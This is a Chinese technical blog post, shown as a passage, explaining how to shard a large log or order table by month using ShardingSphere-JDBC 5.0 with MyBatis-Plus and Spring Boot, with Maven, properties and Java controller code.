<title>使用shardingJdbc-5.x+mybatis-plus实现按月分表查询</title>
<link href="https://reiner.host/posts/80ca5d35.html"/>
<id>https://reiner.host/posts/80ca5d35.html</id>
<published>2021-12-25T06:09:22.000Z</published>
<updated>2021-12-25T06:47:13.734Z</updated>
<content type="html"><![CDATA[<h1><span id="使用场景">使用场景</span></h1><p>适用于单库,日志表过大的问题,如每月产生几千万条日志,还不能清理,必须存档,其它业务表反而没这么大量时,可以使用分表来解决。</p><p>可以按实际情况来决定是按年分表还是按月分表,每年产生的数据量过亿时可以按月分表。</p><h2><span id="本文使用的框架">本文使用的框架</span></h2><p>使用spring boot 2.x + mybatis-plus + shardingjdbc5.x + druid </p><p>shardingjdbc非常坑的一个点,每个版本变一次配置,官方文档写得不清不楚,通过GITHUB找到官方示例,发现示例也很少,最后是通过网上的博文+示例+文档才搞定。</p><h2><span id="配置maven依赖">配置maven依赖</span></h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">properties</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">sharding-sphere.version</span>></span>5.0.0<span class="tag"></<span class="name">sharding-sphere.version</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">mybatis-plus.version</span>></span>3.4.2<span class="tag"></<span class="name">mybatis-plus.version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">properties</span>></span></span><br><span class="line"> </span><br><span class="line"> <span class="tag"><<span class="name">parent</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.springframework.boot<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>spring-boot-starter-parent<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>2.3.4.RELEASE<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">parent</span>></span></span><br><span class="line"> </span><br><span class="line"> <span class="tag"><<span class="name">dependencies</span>></span></span><br><span class="line"> <span class="comment"><!-- 不能用druid-springboot-starter 会无法启动 --></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>com.alibaba<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>druid<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>1.2.8<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"><!-- https://mvnrepository.com/artifact/com.alibaba/druid-spring-boot-starter --></span></span><br><span class="line"><span class="comment"><!-- <dependency></span></span><br><span class="line"><span class="comment"> <groupId>com.alibaba</groupId></span></span><br><span class="line"><span class="comment"> <artifactId>druid-spring-boot-starter</artifactId></span></span><br><span class="line"><span class="comment"> <version>1.1.22</version></span></span><br><span class="line"><span class="comment"></dependency></span></span><br><span class="line"><span class="comment"> --></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.springframework.boot<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>spring-boot-starter-web<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"> </span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.springframework.boot<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>spring-boot-starter-jdbc<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"><!-- <dependency></span></span><br><span class="line"><span class="comment"> <groupId>com.baomidou</groupId></span></span><br><span class="line"><span class="comment"> <artifactId>mybatis-plus-boot-starter</artifactId></span></span><br><span class="line"><span class="comment"> <version>${mybatis-plus.version}</version></span></span><br><span class="line"><span class="comment"> </dependency> --></span></span><br><span class="line"> </span><br><span class="line"><span class="comment"><!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java --></span></span><br><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"><span class="tag"><<span class="name">groupId</span>></span>mysql<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"><span class="tag"><<span class="name">artifactId</span>></span>mysql-connector-java<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"><!-- https://mvnrepository.com/artifact/org.apache.shardingsphere/sharding-jdbc-spring-boot-starter --></span></span><br><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"><span class="tag"><<span class="name">groupId</span>></span>org.apache.shardingsphere<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"><span class="tag"><<span class="name">artifactId</span>></span>shardingsphere-jdbc-core-spring-boot-starter<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"><span class="tag"><<span class="name">version</span>></span>5.0.0<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>com.baomidou<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>mybatis-plus-boot-starter<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>${mybatis-plus.version}<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"><span class="tag"><<span class="name">groupId</span>></span>org.springframework.boot<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"><span class="tag"><<span class="name">artifactId</span>></span>spring-boot-starter-actuator<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"><span class="tag"><<span class="name">exclusions</span>></span></span><br><span class="line"><span class="tag"><<span class="name">exclusion</span>></span></span><br><span class="line"><span class="tag"><<span class="name">groupId</span>></span>org.springframework.boot<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"><span class="tag"><<span class="name">artifactId</span>></span>spring-boot-starter<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"><span class="tag"></<span class="name">exclusion</span>></span></span><br><span class="line"><span class="tag"><<span class="name">exclusion</span>></span></span><br><span class="line"><span class="tag"><<span class="name">groupId</span>></span>com.fasterxml.jackson.core<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"><span class="tag"><<span class="name">artifactId</span>></span>jackson-databind<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"><span class="tag"></<span class="name">exclusion</span>></span></span><br><span class="line"><span class="tag"></<span class="name">exclusions</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependencies</span>></span></span><br></pre></td></tr></table></figure><span id="more"></span><h2><span id="配置数据源与shardingjdbc分表策略">配置数据源与shardingjdbc分表策略</span></h2><p>按月分表使用单库,所以这里只配置一个数据源</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">spring.shardingsphere.mode.type=Standalone</span></span><br><span class="line"><span class="string">spring.shardingsphere.mode.repository.type=File</span></span><br><span class="line"><span class="string">spring.shardingsphere.mode.overwrite=true</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 配置真实数据源</span></span><br><span class="line"><span class="string">spring.shardingsphere.datasource.names=db0</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 配置第 1 个数据源</span></span><br><span class="line"><span class="string">spring.shardingsphere.datasource.db0.type=com.alibaba.druid.pool.DruidDataSource</span></span><br><span class="line"><span class="string">spring.shardingsphere.datasource.db0.driver-class-name=com.mysql.cj.jdbc.Driver</span></span><br><span class="line"><span class="string">spring.shardingsphere.datasource.db0.url=jdbc:mysql://localhost:3306/db0</span></span><br><span class="line"><span class="string">spring.shardingsphere.datasource.db0.username=root</span></span><br><span class="line"><span class="string">spring.shardingsphere.datasource.db0.password=reiner</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 打印执行的数据库以及语句 默认值: false, </span></span><br><span class="line"><span class="string">sharding.jdbc.data-source.props.sql-simple=true</span></span><br><span class="line"><span class="comment">#打开sql输出日志</span></span><br><span class="line"><span class="string">spring.shardingsphere.props.sql-show=true</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#默认的分片键</span></span><br><span class="line"><span class="comment">#spring.shardingsphere.rules.sharding.default-database-strategy.standard.sharding-column=order_id</span></span><br><span class="line"><span class="comment">#使用的分片策略</span></span><br><span class="line"><span class="string">spring.shardingsphere.rules.sharding.binding-tables[0]=t_order</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#配置如何生成要操作的表名,这里根据时间自动添加表后缀,如:t_order_2021_12</span></span><br><span class="line"><span class="string">spring.shardingsphere.rules.sharding.tables.t_order.actual-data-nodes=db0.t_order_$->{2019..2099}_${(1..12).collect{t</span> <span class="string">->t.toString().padLeft(2,'0')}}</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#分片键,按时间分表</span></span><br><span class="line"><span class="string">spring.shardingsphere.rules.sharding.tables.t_order.table-strategy.standard.sharding-column=create_time</span></span><br><span class="line"><span class="comment">#分片算法对应的配置名称</span></span><br><span class="line"><span class="string">spring.shardingsphere.rules.sharding.tables.t_order.table-strategy.standard.sharding-algorithm-name=t-order-inline</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#spring.shardingsphere.rules.sharding.tables.t_order.key-generate-strategy.column=order_id #不分库,不需要</span></span><br><span class="line"><span class="comment">#ID生成 雪花算法</span></span><br><span class="line"><span class="comment">#spring.shardingsphere.rules.sharding.tables.t_order.key-generate-strategy.key-generator-name=SNOWFLAKE</span></span><br><span class="line"><span class="comment">#配置分片规则,按时间类型分片</span></span><br><span class="line"><span class="string">spring.shardingsphere.rules.sharding.sharding-algorithms.t-order-inline.type=INTERVAL</span></span><br><span class="line"><span class="comment">#时间格式</span></span><br><span class="line"><span class="string">spring.shardingsphere.rules.sharding.sharding-algorithms.t-order-inline.props.datetime-pattern=yyyy-MM-dd</span> <span class="string">HH:mm:ss</span></span><br><span class="line"><span class="comment">#最小的分片时间</span></span><br><span class="line"><span class="string">spring.shardingsphere.rules.sharding.sharding-algorithms.t-order-inline.props.datetime-lower=2021-01-01</span> <span class="number">00</span><span class="string">:00:00</span></span><br><span class="line"><span class="comment">#表的后缀</span></span><br><span class="line"><span class="string">spring.shardingsphere.rules.sharding.sharding-algorithms.t-order-inline.props.sharding-suffix-pattern=yyyy_MM</span></span><br><span class="line"><span class="comment">#按月分表</span></span><br><span class="line"><span class="string">spring.shardingsphere.rules.sharding.sharding-algorithms.t-order-inline.props.datetime-interval-unit=MONTHS</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="string">spring.shardingsphere.rules.sharding.key-generators.snowflake.type=SNOWFLAKE</span></span><br><span class="line"></span><br><span class="line"><span class="string">spring.shardingsphere.rules.sharding.key-generators.snowflake.props.worker-id=123</span></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h4><span id="mybatis-plus的配置">mybatis plus的配置</span></h4><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">server:</span></span><br><span class="line"> <span class="attr">port:</span> <span class="number">7999</span></span><br><span class="line"></span><br><span class="line"><span class="attr">spring:</span></span><br><span class="line"> <span class="attr">application:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">sharding-test</span></span><br><span class="line"></span><br><span class="line"><span class="attr">logging:</span> </span><br><span class="line"> <span class="attr">level:</span> </span><br><span class="line"> <span class="attr">root:</span> <span class="string">info</span></span><br><span class="line"><span class="comment"># org: </span></span><br><span class="line"><span class="comment"># springframework: </span></span><br><span class="line"><span class="comment"># web: DEBUG</span></span><br><span class="line"> <span class="attr">file:</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">./logs/${spring.application.name}-log.log</span></span><br><span class="line"></span><br><span class="line"><span class="attr">mybatis-plus:</span></span><br><span class="line"> <span class="attr">global-config:</span></span><br><span class="line"> <span class="attr">db-config:</span></span><br><span class="line"> <span class="attr">logic-delete-field:</span> <span class="string">IS_DELETE</span> <span class="comment"># 全局逻辑删除的实体字段名(since 3.3.0,配置后可以忽略不配置步骤2)</span></span><br><span class="line"> <span class="attr">logic-delete-value:</span> <span class="number">1</span> <span class="comment"># 逻辑已删除值(默认为 1)</span></span><br><span class="line"> <span class="attr">logic-not-delete-value:</span> <span class="number">0</span> <span class="comment"># 逻辑未删除值(默认为 0)</span></span><br><span class="line"><span class="comment"># capital-mode: true</span></span><br><span class="line"></span><br><span class="line"> <span class="attr">typeAliasesPackage:</span> <span class="string">com.reiner.sharding.test.model</span></span><br><span class="line"><span class="comment"># spring boot集成mybatis的方式打印sql </span></span><br><span class="line"> <span class="attr">configuration:</span></span><br><span class="line"> <span class="attr">cache:</span> <span class="literal">true</span> </span><br><span class="line"> <span class="attr">log-impl:</span> <span class="string">org.apache.ibatis.logging.stdout.StdOutImpl</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>记得加上mybatis plus扫描注解:<code>@MapperScan(value = "com.reiner.sharding.test.mapper")</code></p><h2><span id="java测试代码">java测试代码</span></h2><p>控制器代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.beans.PropertyEditorSupport;</span><br><span class="line"><span class="keyword">import</span> java.util.Date;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.UUID;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.slf4j.Logger;</span><br><span class="line"><span class="keyword">import</span> org.slf4j.LoggerFactory;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Autowired;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.propertyeditors.CustomDateEditor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.propertyeditors.CustomNumberEditor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.propertyeditors.StringTrimmerEditor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.util.StringUtils;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.WebDataBinder;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.GetMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.InitBinder;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RestController;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;</span><br><span class="line"><span class="keyword">import</span> com.reiner.sharding.test.config.DateFormater;</span><br><span class="line"><span class="keyword">import</span> com.reiner.sharding.test.mapper.OrderMapper;</span><br><span class="line"><span class="keyword">import</span> com.reiner.sharding.test.model.Order;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping("orders")</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">OrderController</span> </span>{</span><br><span class="line"></span><br><span class="line"><span class="keyword">protected</span> Logger logger =LoggerFactory.getLogger(getClass());</span><br><span class="line"></span><br><span class="line"><span class="meta">@Autowired</span></span><br><span class="line">OrderMapper orderMapper;</span><br><span class="line"></span><br><span class="line"><span class="meta">@InitBinder</span> </span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">initBinder</span><span class="params">(WebDataBinder binder)</span></span>{</span><br><span class="line"><span class="comment">//解除spring mvc list参数限制长度问题</span></span><br><span class="line"> binder.setAutoGrowCollectionLimit(<span class="number">1024</span>);</span><br><span class="line">binder.registerCustomEditor(String.class,<span class="keyword">new</span> StringTrimmerEditor(<span class="keyword">true</span>));</span><br><span class="line"><span class="comment">//必须有,将JSON日期字符串格式化成DATE日期</span></span><br><span class="line"> binder.registerCustomEditor(Date.class,</span><br><span class="line"> <span class="keyword">new</span> CustomDateEditor(<span class="keyword">new</span> DateFormater(logger), <span class="keyword">true</span>));</span><br><span class="line">binder.registerCustomEditor(<span class="keyword">long</span>.class, <span class="keyword">new</span> CustomNumberEditor(Long.class, <span class="keyword">true</span>));</span><br><span class="line">binder.registerCustomEditor(<span class="keyword">double</span>.class,<span class="keyword">new</span> CustomNumberEditor(Double.class,<span class="keyword">true</span>));</span><br><span class="line">binder.registerCustomEditor(<span class="keyword">float</span>.class, <span class="keyword">new</span> CustomNumberEditor(Float.class,<span class="keyword">true</span>));</span><br><span class="line">} </span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span> 按时间分片的表查询必须带时间</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> reiner</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> startTime</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> endTime</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2021年12月15日</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@GetMapping</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> List<Order> <span class="title">orders</span><span class="params">(Date startTime,Date endTime)</span> </span>{</span><br><span class="line">QueryWrapper<Order> wrapper = <span class="keyword">new</span> QueryWrapper<>();</span><br><span class="line">wrapper.ge(startTime!=<span class="keyword">null</span>,<span class="string">"CREATE_TIME"</span>, startTime);</span><br><span class="line">wrapper.le(endTime!=<span class="keyword">null</span>,<span class="string">"CREATE_TIME"</span>, endTime);</span><br><span class="line">List<Order> list = orderMapper.selectList(wrapper);</span><br><span class="line"><span class="keyword">return</span> list;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@GetMapping("add")</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">add</span><span class="params">()</span> </span>{</span><br><span class="line">Order o = <span class="keyword">new</span> Order();</span><br><span class="line"><span class="comment">//o.setOrderId(UUID.randomUUID().toString());</span></span><br><span class="line">o.setTitle(<span class="string">"order title"</span>);</span><br><span class="line">o.setUserId(<span class="number">1</span>);</span><br><span class="line">o.setCreateTime(<span class="keyword">new</span> Date());</span><br><span class="line"><span class="keyword">if</span>(orderMapper.insert(o)><span class="number">0</span>) {</span><br><span class="line"><span class="keyword">return</span> <span class="string">"OK"</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> <span class="string">"FAILED"</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>附上控制器中时间参数转换器:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.text.DateFormat;</span><br><span class="line"><span class="keyword">import</span> java.text.FieldPosition;</span><br><span class="line"><span class="keyword">import</span> java.text.ParsePosition;</span><br><span class="line"><span class="keyword">import</span> java.text.SimpleDateFormat;</span><br><span class="line"><span class="keyword">import</span> java.util.Date;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.slf4j.Logger;</span><br><span class="line"><span class="keyword">import</span> org.slf4j.LoggerFactory;</span><br><span class="line"><span class="keyword">import</span> org.springframework.expression.ParseException;</span><br><span class="line"><span class="keyword">import</span> org.springframework.util.StringUtils;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span>: 2021-12-25</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> reiner</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>: 日期转换类,目前用于spring mvc接收json日期的转换</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">DateFormater</span> <span class="keyword">extends</span> <span class="title">DateFormat</span> </span>{</span><br><span class="line"></span><br><span class="line">Logger logger;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="title">DateFormater</span><span class="params">(Logger logger)</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.logger=logger;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="title">DateFormater</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.logger=LoggerFactory.getLogger(getClass());</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">long</span> serialVersionUID = -<span class="number">4876634368991167714L</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> SimpleDateFormat dateTimeFormat = <span class="keyword">new</span> SimpleDateFormat(<span class="string">"yyy-MM-dd HH:mm:ss"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> SimpleDateFormat dateFormat = <span class="keyword">new</span> SimpleDateFormat(<span class="string">"yyy-MM-dd"</span>);</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> StringBuffer <span class="title">format</span><span class="params">(Date date, StringBuffer toAppendTo, FieldPosition fieldPosition)</span> </span>{</span><br><span class="line"><span class="keyword">return</span> dateTimeFormat.format(date, toAppendTo, fieldPosition);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> Date <span class="title">parse</span><span class="params">(String source, ParsePosition pos)</span> </span>{</span><br><span class="line">Date date = 